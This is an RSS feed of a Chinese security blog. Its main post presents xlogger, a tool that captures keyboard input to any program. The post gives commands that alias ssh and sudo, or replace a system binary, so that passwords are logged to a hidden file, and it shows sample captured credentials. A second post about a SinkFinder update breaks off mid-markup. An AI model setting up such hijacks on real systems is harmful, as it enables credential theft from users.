<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Medi0cr1ty</title>
    <link>https://wechat2rss.xlab.app/feed/929d7672d9f2a7727dc161b4389a433d3a0d6eb0.xml</link>
    <description>宁静在遥远处波动&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (Medi0cr1ty)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/NoFChqEQomFotic8kFrF26ibCOyEomgYt4sxm6GGgyeM16XfffuDkGxluiaNhZCOiasP8BianKKDQgbQ/0</url>
      <title>Medi0cr1ty</title>
      <link>https://wechat2rss.xlab.app/feed/929d7672d9f2a7727dc161b4389a433d3a0d6eb0.xml</link>
    </image>
    <item>
      <title>xlogger - 劫持任意程序的键盘输入&amp;终端日志</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484472&amp;idx=1&amp;sn=2a150d1d9a2dbfbf22929bdcb797ee7b</link>
      <description>xlogger：劫持任意程序的键盘输入和执行结果的日志。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Nobody</span> <span>2025-09-19 23:01</span> <span style="display: inline-block;">北京</span>
</p>

<p>xlogger：劫持任意程序的键盘输入和执行结果的日志。</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a4105d68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjkJxJOu3EKT8mDdVeOlNnxtia8JTzJ6OnkI59LhCfYZFicjC9cab9lRvz4fdGUiccibDYicdKJ38Deslw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-size: 22.4px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-pm-slice="0 0 []"><span leaf="">xlogger</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 10px;padding: 0px;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">劫持任意程序的键盘输入和执行结果的日志。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">You</span> Know, for secret hijack.</span></code></pre></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-size: 22.4px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">使用</span></h2><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">SSH Client 密码劫持</span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf=""><span class="code-snippet__built_in">export</span> XPROGRAM=<span class="code-snippet__string">&#34;/usr/bin/ssh&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__built_in">export</span> XLOGFILE=<span class="code-snippet__string">&#34;/var/log/ssh-hijack.log&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__built_in">alias</span> ssh=<span class="code-snippet__string">&#39;/path/to/bin/xlogger&#39;</span></span></code><br/><code><span leaf="">ssh root@server.com</span></code><br/><code></code><br/><code><span leaf=""><span class="code-snippet__comment"># ssh密码以及所有给ssh的输入将记录到/var/log/ssh-hijack.log</span></span></code><br/></pre></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">SUDO 用户密码劫持</span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf=""><span class="code-snippet__built_in">export</span> XPROGRAM=<span class="code-snippet__string">&#34;/usr/bin/sudo&#34;</span> </span></code><br/><code><span leaf=""><span class="code-snippet__built_in">export</span> XLOGFILE=<span class="code-snippet__string">&#34;/tmp/.xlogger.log&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__built_in">alias</span> sudo=<span class="code-snippet__string">&#39;/path/to/bin/xlogger&#39;</span></span></code><br/><code></code><br/><code><span leaf="">sudo -s</span></code><br/><code><span leaf=""><span class="code-snippet__built_in">whoami</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># sudo -s切用户时输入的密码将记录到/tmp/.xlogger.log</span></span></code><br/></pre></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000821" class="rich_pages wxw-img" data-ratio="0.3990740740740741" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=547e1f14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjkJxJOu3EKT8mDdVeOlNnxibLayJg691DDaiaHJCl0oI9Hf7XBT4TC9OjfDB509lRZibNPGhzc6javg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">劫持任意程序</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 10px;padding: 0px;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">一些场景下，想知道目标程序都干了些什么，命令行参数是什么，输出是什么，比如劫持bash当个临时hids使用...</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf=""><span class="code-snippet__comment"># 用xlogger替换掉目标程序</span></span></code><br/><code><span leaf=""><span class="code-snippet__built_in">mv</span> /usr/bin/anyapp /usr/bin/anyapp-backup</span></code><br/><code><span leaf=""><span class="code-snippet__built_in">export</span> XPROGRAM=<span class="code-snippet__string">&#34;/usr/bin/anyapp-backup&#34;</span> </span></code><br/><code><span leaf=""><span class="code-snippet__built_in">export</span> XLOGFILE=<span class="code-snippet__string">&#34;/var/log/app.log&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__built_in">mv</span> /path/to/bin/xlogger /usr/bin/anyapp</span></code><br/></pre></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 10px;padding: 0px;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">后续/usr/bin/anyapp的所有被调用记录将保存到/var/log/app.log，如果不想使用环境变量或者需要命令执行的结果可以修改代码</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">代码配置</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 10px;padding: 0px;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">如果不想用环境变量，也可以改代码里的默认值：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cpp"><code><span leaf=""><span class="code-snippet__meta">#</span><span class="code-snippet__meta"><span class="code-snippet__keyword">define</span></span><span class="code-snippet__meta"> DEFAULT_XPROGRAM </span><span class="code-snippet__meta"><span class="code-snippet__string">&#34;/usr/bin/sudo&#34;</span></span><span class="code-snippet__meta">     </span><span class="code-snippet__meta"><span class="code-snippet__comment">// 默认程序</span></span></span></code><br/><code><span leaf=""><span class="code-snippet__meta">#</span><span class="code-snippet__meta"><span class="code-snippet__keyword">define</span></span><span class="code-snippet__meta"> DEFAULT_XLOGFILE </span><span class="code-snippet__meta"><span class="code-snippet__string">&#34;/tmp/.xlogger.log&#34;</span></span><span class="code-snippet__meta"> </span><span class="code-snippet__meta"><span class="code-snippet__comment">// 默认日志位置</span></span></span></code><br/><code></code><br/><code><span leaf=""><span class="code-snippet__type">static</span> <span class="code-snippet__type">int</span> log_keyboard_input = <span class="code-snippet__number">1</span>;           <span class="code-snippet__comment">// 是否记录键盘输入</span></span></code><br/><code><span leaf=""><span class="code-snippet__type">static</span> <span class="code-snippet__type">int</span> log_console_output = <span class="code-snippet__number">0</span>;           <span class="code-snippet__comment">// 是否记录程序输出</span></span></code><br/></pre></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-size: 22.4px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">编译</span></h2><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">快速开始</span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf=""><span class="code-snippet__built_in">make</span> help</span></code><br/><code><span leaf=""><span class="code-snippet__built_in">make</span> deps</span></code><br/><code></code><br/><code><span leaf=""><span class="code-snippet__built_in">make</span></span></code><br/></pre></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">手动编译</span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">gcc</span> -Wall -Wextra -std=c99 -O2 -o xlogger xlogger.c -lutil</span></code></pre></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-size: 22.4px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">日志格式</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 10px;padding: 0px;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">日志默认保存在 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">/tmp/.xlogger.log</span></code><span leaf="">，格式如下：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cs"><code><span leaf="">========= New session started ======</span></code><br/><code><span leaf="">cmdline: /usr/bin/sudo -s</span></code><br/><code><span leaf="">------------------------------------</span></code><br/><code><span leaf="">[<span class="code-snippet__meta">2025-09-19 22:12:47</span>] INPUT: yourpincode</span></code><br/><code><span leaf="">[<span class="code-snippet__meta">2025-09-19 22:12:55</span>] INPUT: id</span></code><br/><code><span leaf="">=== Session ended <span class="code-snippet__keyword">with</span> status: <span class="code-snippet__number">0</span> ===</span></code><br/><code></code><br/><code><span leaf="">========= New session started ======</span></code><br/><code><span leaf="">cmdline: /usr/bin/ssh root@server.com -p <span class="code-snippet__number">2048</span> </span></code><br/><code><span leaf="">------------------------------------</span></code><br/><code><span leaf="">[<span class="code-snippet__meta">2025-09-19 22:12:47</span>] INPUT: yoursshpassword</span></code><br/><code><span leaf="">[<span class="code-snippet__meta">2025-09-19 22:13:01</span>] INPUT: whoami</span></code><br/><code><span leaf="">[<span class="code-snippet__meta">2025-09-19 22:13:01</span>] OUTPUT: root</span></code><br/><code><span leaf="">=== Session ended <span class="code-snippet__keyword">with</span> status: <span class="code-snippet__number">0</span> ===</span></code><br/></pre></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">工具地址</span></h3><p style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 10px;padding: 0px;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12.6px;opacity: 0.6;"><span leaf=""><span textstyle="" style="color: rgb(0, 0, 0);"><a href="https://github.com/TheKingOfDuck/xlogger" target="_blank">https://github.com/TheKingOfDuck/xlogger</a></span></span></code></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484472">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d987014b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484472%26idx%3D1%26sn%3D2a150d1d9a2dbfbf22929bdcb797ee7b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 19 Sep 2025 23:01:00 +0800</pubDate>
    </item>
    <item>
      <title>元旦快乐｜SinkFinder更新2.0版本</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484465&amp;idx=1&amp;sn=d5b29efa6fb201129fb6d380427bce67</link>
      <description>祝元旦快乐！根据反馈更新一版 :D&#xA;欢迎反馈～</description>
      <content:encoded><![CDATA[<p>
原创 <span>medi0cr1ty</span> <span>2025-01-01 23:48</span> <span style="display: inline-block;">北京</span>
</p>

<p>祝元旦快乐！根据反馈更新一版 :D</p>
<p>欢迎反馈～</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=616498b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWia0IMFk45pmgFpI8EdKgs8zTiavlqiaOc2XjGWhGiaqrgAyDrv51fEnLOcRmxHwUxmN2SMYQoyDCAnwQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 0px 8px 0px 0px;box-sizing: border-box;"><div style="font-size: 19px;margin: 0px 0%;text-align: center;box-sizing: border-box;"><div style="display: inline-block;border: 1px solid rgb(58, 82, 143);background-color: rgb(58, 82, 143);width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 16px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">元</span></b></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 0px 8px 0px 0px;box-sizing: border-box;"><div style="font-size: 19px;margin: 0px 0%;text-align: center;box-sizing: border-box;"><div style="display: inline-block;border: 1px solid rgb(58, 82, 143);background-color: rgb(58, 82, 143);width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 16px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">旦</span></b></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-end;box-sizing: border-box;"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="text-align: right;margin: 0px;line-height: 0;transform: translate3d(4px, 0px, 0px);-webkit-transform: translate3d(4px, 0px, 0px);-moz-transform: translate3d(4px, 0px, 0px);-o-transform: translate3d(4px, 0px, 0px);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 16px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-imgfileid="100000808" class="rich_pages wxw-img" data-ratio="0.9625" data-s="300,640" data-type="gif" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" src="https://wechat2rss.xlab.app/img-proxy/?k=fbb36e00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FZiaGB6iaicqkWia0IMFk45pmgFpI8EdKgs8zXNP4dN7lH3KAtMRxlwVPOtlG9QeZ5QTibseHDObdqwXhtXhadMiaxdmQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><div style="text-align: justify;font-size: 12px;color: rgb(173, 207, 247);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">WINTER</span></p></div><div style="text-align: center;margin: 0px 0px 5px;box-sizing: border-box;"><p style="border-top: 1px dashed rgb(58, 82, 143);box-sizing: border-box;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-end;padding: 0px 0px 0px 7px;box-sizing: border-box;"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="margin: 0px 0px 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 10px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-imgfileid="100000805" class="rich_pages wxw-img" data-ratio="0.9625" data-s="300,640" data-type="gif" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" src="https://wechat2rss.xlab.app/img-proxy/?k=fbb36e00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FZiaGB6iaicqkWia0IMFk45pmgFpI8EdKgs8zXNP4dN7lH3KAtMRxlwVPOtlG9QeZ5QTibseHDObdqwXhtXhadMiaxdmQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 93%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">更新啦～</span></span></p><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 40px;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">SINK规则方法名支持正则</span></span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">查找引擎优化</span></span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">LLM结果输出优化</span></span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">路径支持多个</span></span></p></li></ul></div></div></div></div><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: 61%;flex: 0 0 auto;height: auto;align-self: flex-end;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0px 5px;box-sizing: border-box;"><p style="border-top: 1px dashed rgb(58, 82, 143);box-sizing: border-box;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div><div style="display: inline-block;vertical-align: top;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 0px 0px 0px 7px;box-sizing: border-box;"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="text-align: left;margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 16px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-imgfileid="100000809" class="rich_pages wxw-img" data-ratio="0.9625" data-s="300,640" data-type="gif" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" src="https://wechat2rss.xlab.app/img-proxy/?k=fbb36e00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FZiaGB6iaicqkWia0IMFk45pmgFpI8EdKgs8zXNP4dN7lH3KAtMRxlwVPOtlG9QeZ5QTibseHDObdqwXhtXhadMiaxdmQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;padding: 0px 0px 0px 5px;box-sizing: border-box;"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="text-align: center;margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 10px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-imgfileid="100000806" class="rich_pages wxw-img" data-ratio="0.9625" data-s="300,640" data-type="gif" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" 